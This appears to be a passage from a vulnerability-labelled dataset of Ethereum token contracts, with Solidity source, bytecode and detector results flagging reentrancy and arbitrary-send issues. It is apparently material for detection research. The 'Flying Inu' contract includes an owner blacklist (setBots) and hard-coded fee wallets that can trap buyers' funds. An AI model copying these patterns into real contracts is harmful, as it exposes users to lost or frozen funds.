uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _lavaTokenBurn(uint amount) private returns (uint, uint) {
uint orgAmount = amount;
uint256 currentRate = _getRate();
uint256 tBurn = amount.mul(_lavaBurn).div(100);
uint256 rBurn = tBurn.mul(currentRate);
_tTotal = _tTotal.sub(tBurn);
_rTotal = _rTotal.sub(rBurn);
return (orgAmount, tBurn);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _pressure, tBurn);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function swapETHForLavaLamp(uint ethAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
_approve(address(this), address(uniswapV2Router), ethAmount);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}(ethAmount,path,address(burnAddress),block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_devArtist.transfer(amount.div(3));
_marketing.transfer(amount.div(3));
}
receive() external payable {}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063c3c8cd8011610064578063c3c8cd80146103ad578063c970e99f146103c2578063d543dbeb146103d7578063dd62ed3e14610401578063e8078d941461043c5761011f565b806370a08231146103025780637a32bae4146103355780638da5cb5b1461034a57806395d89b411461035f578063a9059cbb146103745761011f565b80632e5b4c43116100e75780632e5b4c4314610265578063313ce5671461027c57806349bd5a5e146102a75780636ddd1713146102d85780636fc3eaec146102ed5761011f565b806306fdde0314610124578063095ea7b3146101ae57806318160ddd146101fb57806323b872dd146102225761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610451565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ba57600080fd5b506101e7600480360360408110156101d157600080fd5b506001600160a01b03813516906020013561047a565b604080519115158252519081900360200190f35b34801561020757600080fd5b50610210610498565b60408051918252519081900360200190f35b34801561022e57600080fd5b506101e76004803603606081101561024557600080fd5b506001600160a01b0381358116916020810135909116906040013561049e565b34801561027157600080fd5b5061027a610525565b005b34801561028857600080fd5b506102916105a8565b6040805160ff9092168252519081900360200190f35b3480156102b357600080fd5b506102bc6105ad565b604080516001600160a01b039092168252519081900360200190f35b3480156102e457600080fd5b506101e76105bc565b3480156102f957600080fd5b5061027a6105cc565b34801561030e57600080fd5b506102106004803603602081101561032557600080fd5b50356001600160a01b0316610631565b34801561034157600080fd5b506101e7610653565b34801561035657600080fd5b506102bc610663565b34801561036b57600080fd5b50610139610672565b34801561038057600080fd5b506101e76004803603604081101561039757600080fd5b506001600160a01b038135169060200135610692565b3480156103b957600080fd5b5061027a6106a6565b3480156103ce57600080fd5b5061027a610714565b3480156103e357600080fd5b5061027a600480360360208110156103fa57600080fd5b503561077c565b34801561040d57600080fd5b506102106004803603604081101561042457600080fd5b506001600160a01b038135811691602001351661084f565b34801561044857600080fd5b5061027a61087a565b60408051808201909152600f81526e4c617661204c616d7020506172747960881b602082015290565b600061048e610487610bfa565b8484610bfe565b5060015b92915050565b60045490565b60006104ab848484610cea565b61051b846104b7610bfa565b61051685604051806060016040528060288152602001611b98602891396001600160a01b038a166000908152600760205260408120906104f5610bfa565b6001600160a01b0316815260208101919091526040016000205491906110ab565b610bfe565b5060019392505050565b61052d610bfa565b6000546001600160a01b0390811691161461057d576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc0833981519152604482015290519081900360640190fd5b600e54600160a81b900460ff1661059357600080fd5b600e805460ff60a01b1916600160a01b179055565b600990565b600e546001600160a01b031681565b600e54600160b81b900460ff1681565b6105d4610bfa565b6000546001600160a01b03908116911614610624576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc0833981519152604482015290519081900360640190fd5b4761062e81611142565b50565b6001600160a01b038116600090815260026020526040812054610492906111cb565b600e54600160a01b900460ff1681565b6000546001600160a01b031690565b60408051808201909152600681526504c4156414c560d41b602082015290565b600061048e61069f610bfa565b8484610cea565b6106ae610bfa565b6000546001600160a01b039081169116146106fe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc0833981519152604482015290519081900360640190fd5b600061070930610631565b905061062e8161122b565b61071c610bfa565b6000546001600160a01b0390811691161461076c576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc0833981519152604482015290519081900360640190fd5b47801561062e5761062e816113fa565b610784610bfa565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc0833981519152604482015290519081900360640190fd5b60008111610829576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6108496064610843836004546115b690919063ffffffff16565b9061160f565b600f5550565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b610882610bfa565b6000546001600160a01b039081169116146108d2576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc0833981519152604482015290519081900360640190fd5b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905560045490916109169130916001600160a01b031690610bfe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561094f57600080fd5b505afa158015610963573d6000803e3d6000fd5b505050506040513d602081101561097957600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156109c957600080fd5b505afa1580156109dd573d6000803e3d6000fd5b505050506040513d60208110156109f357600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610a4557600080fd5b505af1158015610a59573d6000803e3d6000fd5b505050506040513d6020811015610a6f57600080fd5b5051600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610aa181610631565b600080610aac610663565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610b1757600080fd5b505af1158015610b2b573d6000803e3d6000fd5b50505050506040513d6060811015610b4257600080fd5b5050600e805460ff60a81b1960ff60b81b19909116600160b81b1716600160a81b179081905567d7a92baa61920000600f55600d546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610bcb57600080fd5b505af1158015610bdf573d6000803e3d6000fd5b505050506040513d6020811015610bf557600080fd5b505050565b3390565b6001600160a01b038316610c435760405162461bcd60e51b8152600401808060200182810382526024815260200180611c2e6024913960400191505060405180910390fd5b6001600160a01b038216610c885760405162461bcd60e51b8152600401808060200182810382526022815260200180611b556022913960400191505060405180910390fd5b6001600160a01b03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610d2f5760405162461bcd60e51b8152600401808060200182810382526025815260200180611c096025913960400191505060405180910390fd5b6001600160a01b038216610d745760405162461bcd60e51b8152600401808060200182810382526023815260200180611b086023913960400191505060405180910390fd5b60008111610db35760405162461bcd60e51b8152600401808060200182810382526029815260200180611be06029913960400191505060405180910390fd5b610dbb610663565b6001600160a01b0316836001600160a01b031614158015610df55750610ddf610663565b6001600160a01b0316826001600160a01b031614155b1561101957600e546001600160a01b038481169116148015610e255750600d546001600160a01b03838116911614155b8015610e4a57506001600160a01b03821660009081526008602052604090205460ff16155b15610ee957600e54600160a01b900460ff16610e6557600080fd5b6001600160a01b0382166000908152600960205260409020544211610e8957600080fd5b6000610e9483610631565b600454909150610ea590601461160f565b610eaf8383611651565b1115610eba57600080fd5b600f54821115610ec957600080fd5b506001600160a01b0382166000908152600960205260409020601e420190555b6000610ef430610631565b600e54909150600160b01b900460ff16158015610f1f5750600e546001600160a01b03858116911614155b8015610f345750600e54600160b81b900460ff165b8015610f5957506001600160a01b03831660009081526008602052604090205460ff16155b8015610f7e57506001600160a01b03841660009081526008602052604090205460ff16155b1561100857600e54610fac90600790610fa690606490610843906001600160a01b0316610631565b906115b6565b821115610fb857600080fd5b6001600160a01b0384166000908152600960205260409020544211610fdc57600080fd5b47610fe68261122b565b476000610ff382846116ab565b905080156110045761100481611142565b5050505b50600e601155600160105560076012555b6001600160a01b03831660009081526008602052604090205460019060ff168061105b57506001600160a01b03831660009081526008602052604090205460ff165b156110995750600e546000906001600160a01b038481169116148015906110905750600d546001600160a01b03848116911614155b15611099575060005b6110a5848484846116ed565b50505050565b6000818484111561113a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110ff5781810151838201526020016110e7565b50505050905090810190601f16801561112c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600b546001600160a01b03166108fc61115c83600361160f565b6040518115909202916000818181858888f19350505050158015611184573d6000803e3d6000fd5b50600c546001600160a01b03166108fc61119f83600361160f565b6040518115909202916000818181858888f193505050501580156111c7573d6000803e3d6000fd5b5050565b600060055482111561120e5760405162461bcd60e51b815260040180806020018281038252602a815260200180611b2b602a913960400191505060405180910390fd5b600061121861171e565b9050611224838261160f565b9392505050565b600e805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126d57fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112c157600080fd5b505afa1580156112d5573d6000803e3d6000fd5b505050506040513d60208110156112eb57600080fd5b50518151829060019081106112fc57fe5b6001600160a01b039283166020918202929092010152600d546113229130911684610bfe565b600d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156113a8578181015183820152602001611390565b505050509050019650505050505050600060405180830381600087803b1580156113d157600080fd5b505af11580156113e5573d6000803e3d6000fd5b5050600e805460ff60b01b1916905550505050565b6040805160028082526060820183526000926020830190803683375050600d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561145f57600080fd5b505afa158015611473573d6000803e3d6000fd5b505050506040513d602081101561148957600080fd5b50518151829060009061149857fe5b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106114c657fe5b6001600160a01b039283166020918202929092010152600d546114ec9130911684610bfe565b600d54600a5460405163b6f9de9560e01b8152600481018581526001600160a01b03928316604483018190524260648401819052608060248501908152875160848601528751959096169563b6f9de9595899586958a9594939092909160a401906020808801910280838360005b8381101561157257818101518382015260200161155a565b50505050905001955050505050506000604051808303818588803b15801561159957600080fd5b505af11580156115ad573d6000803e3d6000fd5b50505050505050565b6000826115c557506000610492565b828202828482816115d257fe5b04146112245760405162461bcd60e51b8152600401808060200182810382526021815260200180611b776021913960400191505060405180910390fd5b600061122483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611741565b600082820183811015611224576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061122483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ab565b806116fa576116fa6117a6565b6117058484846117de565b806110a5576110a56001601055600e6011556007601255565b600080600061172b6118f8565b909250905061173a828261160f565b9250505090565b600081836117905760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156110ff5781810151838201526020016110e7565b50600083858161179c57fe5b0495945050505050565b6010541580156117b65750601154155b80156117c25750601254155b156117cc576117dc565b6000601081905560118190556012555b565b6000806117ea8361192f565b915091506000806000806000806118018888611998565b95509550955095509550955061184586600260008e6001600160a01b03166001600160a01b03168152602001908152602001600020546116ab90919063ffffffff16565b6001600160a01b03808d1660009081526002602052604080822093909355908c16815220546118749086611651565b6001600160a01b038b16600090815260026020526040902055611896816119f7565b6118a08483611a41565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050505050505050565b600554600454600091829161190d828261160f565b8210156119255760055460045493509350505061192b565b90925090505b9091565b600080828161193c61171e565b9050600061195a6064610843601254896115b690919063ffffffff16565b9050600061196882846115b6565b60045490915061197890836116ab565b60045560055461198890826116ab565b6005555091935090915050915091565b60008060008060008060008060006119b68b6010546011548d611a65565b92509250925060006119c661171e565b905060008060006119d98f878787611ab7565b919e509c509a50959850939650919450505050509295509295509295565b6000611a0161171e565b90506000611a0f83836115b6565b30600090815260026020526040902054909150611a2c9082611651565b30600090815260026020526040902055505050565b600554611a4e90836116ab565b600555600654611a5e9082611651565b6006555050565b6000808080611a7960646108438a8a6115b6565b90506000611a8c60646108438b8a6115b6565b90506000611aa687611aa084818e886116ab565b906116ab565b9a9299509097509095505050505050565b6000808080611ac688866115b6565b90506000611ad488876115b6565b90506000611ae288886115b6565b90506000611af482611aa086866116ab565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220383f25fc63111218d6b74f436cc843a1164041a9f18438fcc4ad3e811581f60864736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,421 |
0x71989c4fe09e0ff5f23e12e445cf4ca399e858ac
|
/**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
/**
https://t.me/FlyingInu
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlyingInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Flying Inu";
string private constant _symbol = "FlyInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xda71E261FF2FCDD4A33CE089bD3d52d5A358e53f);
_feeAddrWallet2 = payable(0xda71E261FF2FCDD4A33CE089bD3d52d5A358e53f);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c7578063b515566a146102e7578063c3c8cd8014610307578063c9567bf91461031c578063dd62ed3e1461033157600080fd5b806370a082311461023b578063715018a61461025b5780638da5cb5b1461027057806395d89b411461029857600080fd5b8063273123b7116100d1578063273123b7146101c8578063313ce567146101ea5780635932ead1146102065780636fc3eaec1461022657600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a815269466c79696e6720496e7560b01b60208201525b60405161014a9190611593565b60405180910390f35b34801561015f57600080fd5b5061017361016e36600461160d565b610377565b604051901515815260200161014a565b34801561018f57600080fd5b50678ac7230489e800005b60405190815260200161014a565b3480156101b457600080fd5b506101736101c3366004611639565b61038e565b3480156101d457600080fd5b506101e86101e336600461167a565b6103f7565b005b3480156101f657600080fd5b506040516009815260200161014a565b34801561021257600080fd5b506101e86102213660046116a5565b61044b565b34801561023257600080fd5b506101e8610493565b34801561024757600080fd5b5061019a61025636600461167a565b6104c0565b34801561026757600080fd5b506101e86104e2565b34801561027c57600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a457600080fd5b50604080518082019091526006815265466c79496e7560d01b602082015261013d565b3480156102d357600080fd5b506101736102e236600461160d565b610556565b3480156102f357600080fd5b506101e86103023660046116d8565b610563565b34801561031357600080fd5b506101e86105f9565b34801561032857600080fd5b506101e861062f565b34801561033d57600080fd5b5061019a61034c36600461179d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103843384846109f1565b5060015b92915050565b600061039b848484610b15565b6103ed84336103e88560405180606001604052806028815260200161199c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e62565b6109f1565b5060019392505050565b6000546001600160a01b0316331461042a5760405162461bcd60e51b8152600401610421906117d6565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104755760405162461bcd60e51b8152600401610421906117d6565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b357600080fd5b476104bd81610e9c565b50565b6001600160a01b03811660009081526002602052604081205461038890610f21565b6000546001600160a01b0316331461050c5760405162461bcd60e51b8152600401610421906117d6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610384338484610b15565b6000546001600160a01b0316331461058d5760405162461bcd60e51b8152600401610421906117d6565b60005b81518110156105f5576001600660008484815181106105b1576105b161180b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611837565b915050610590565b5050565b600c546001600160a01b0316336001600160a01b03161461061957600080fd5b6000610624306104c0565b90506104bd81610fa5565b6000546001600160a01b031633146106595760405162461bcd60e51b8152600401610421906117d6565b600f54600160a01b900460ff16156106b35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef3082678ac7230489e800006109f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107609190611852565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190611852565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd